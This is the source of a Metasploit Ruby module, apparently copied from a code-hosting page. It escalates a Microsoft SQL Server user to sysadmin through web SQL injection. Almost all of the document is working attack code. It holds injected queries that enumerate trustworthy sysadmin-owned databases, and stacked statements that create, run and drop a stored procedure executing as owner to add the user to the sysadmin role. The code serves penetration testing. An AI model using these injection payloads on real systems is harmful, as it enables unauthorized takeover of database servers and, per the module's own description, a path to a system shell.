Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Remote::MSSQL_SQLI8include Msf::Auxiliary::Report910def initialize(info = {})11super(update_info(info,12'Name' => 'Microsoft SQL Server SQLi Escalate Db_Owner',13'Description' => %q{14This module can be used to escalate SQL Server user privileges to sysadmin through a web15SQL Injection. In order to escalate, the database user must to have the db_owner role in16a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin17role, the mssql_payload_sqli module can be used to obtain a shell on the system.1819The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--20},21'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],22'License' => MSF_LICENSE,23'References' => [['URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]24))25end2627def run28# Get the database user name29print_status("Grabbing the database user name from ...")30db_user = get_username31if db_user.nil?32print_error("Unable to grab user name...")33return34else35print_good("Database user: #{db_user}")36end3738# Grab sysadmin status39print_status("Checking if #{db_user} is already a sysadmin...")40admin_status = check_sysadmin4142if admin_status.nil?43print_error("Couldn't retrieve user status, aborting...")44return45elsif admin_status == '1'46print_error("#{db_user} is already a sysadmin, no esclation needed.")47return48else49print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")50end5152# Check for trusted databases owned by sysadmins53print_status("Checking for trusted databases owned by sysadmins...")54trust_db_list = check_trust_dbs55if trust_db_list.nil? || trust_db_list.length == 056print_error("No databases owned by sysadmin were found flagged as trustworthy.")57return58else59# Display list of accessible databases to user60print_good("#{trust_db_list.length} affected database(s) were found:")61trust_db_list.each do |db|62print_status(" - #{db}")63end64end6566# Check if the user has the db_owner role in any of the databases67print_status("Checking if #{db_user} has the db_owner role in any of them...")68owner_status = check_db_owner(trust_db_list)69if owner_status.nil?70print_error("Fail buckets, the user doesn't have db_owner role anywhere.")71return72else73print_good("#{db_user} has the db_owner role on #{owner_status}.")74end7576# Attempt to escalate to sysadmin77print_status("Attempting to add #{db_user} to sysadmin role...")78escalate_privs(owner_status, db_user)7980admin_status = check_sysadmin81if admin_status && admin_status == '1'82print_good("Success! #{db_user} is now a sysadmin!")83else84print_error("Fail buckets, something went wrong.")85end86end8788def get_username89# Setup query to check for database username90clue_start = Rex::Text.rand_text_alpha(8 + rand(4))91clue_end = Rex::Text.rand_text_alpha(8 + rand(4))92sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"9394# Run query95result = mssql_query(sql)9697# Parse result98if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/99user_name = $1100else101user_name = nil102end103104user_name105end106107def check_sysadmin108# Setup query to check for sysadmin109clue_start = Rex::Text.rand_text_alpha(8 + rand(4))110clue_end = Rex::Text.rand_text_alpha(8 + rand(4))111sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"112113# Run query114result = mssql_query(sql)115116# Parse result117if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/118status = $1119else120status = nil121end122123status124end125126def check_trust_dbs127# Setup query to check for trusted databases owned by sysadmins128clue_start = Rex::Text.rand_text_alpha(8 + rand(4))129clue_end = Rex::Text.rand_text_alpha(8 + rand(4))130sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName131FROM sys.server_principals r132INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id133INNER JOIN sys.server_principals p ON134p.principal_id = m.member_principal_id135inner join sys.databases d on suser_sname(d.owner_sid) = p.name136WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"137138# Run query139res = mssql_query(sql)140141unless res && res.body142return nil143end144145# Parse results146parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)147148if parsed_result && !parsed_result.empty?149parsed_result.flatten!150parsed_result.uniq!151end152153print_status("#{parsed_result.inspect}")154155parsed_result156end157158def check_db_owner(trust_db_list)159# Check if the user has the db_owner role is any databases160trust_db_list.each do |db|161# Setup query162clue_start = Rex::Text.rand_text_alpha(8 + rand(4))163clue_end = Rex::Text.rand_text_alpha(8 + rand(4))164sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName165from [#{db}].sys.database_role_members drm166join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)167join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)168where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"169170# Run query171result = mssql_query(sql)172173unless result && result.body174next175end176177# Parse result178if result.body =~ /#{clue_start}([^>]*)#{clue_end}/179return $1180end181end182183nil184end185186# Attempt to escalate privileges187def escalate_privs(dbowner_db,db_user)188# Create the evil stored procedure WITH EXECUTE AS OWNER189evil_sql_create = "1;use #{dbowner_db};190DECLARE @myevil as varchar(max)191set @myevil = '192CREATE PROCEDURE sp_elevate_me193WITH EXECUTE AS OWNER194as195begin196EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''197end';198exec(@myevil);--"199mssql_query(evil_sql_create)200201# Run the evil stored procedure202evilsql_run = "1;use #{dbowner_db};203DECLARE @myevil2 as varchar(max)204set @myevil2 = 'EXEC sp_elevate_me'205exec(@myevil2);--"206mssql_query(evilsql_run)207208# Remove evil procedure209evilsql_remove = "1;use #{dbowner_db};210DECLARE @myevil3 as varchar(max)211set @myevil3 = 'DROP PROCEDURE sp_elevate_me'212exec(@myevil3);--"213mssql_query(evilsql_remove)214end215end216217218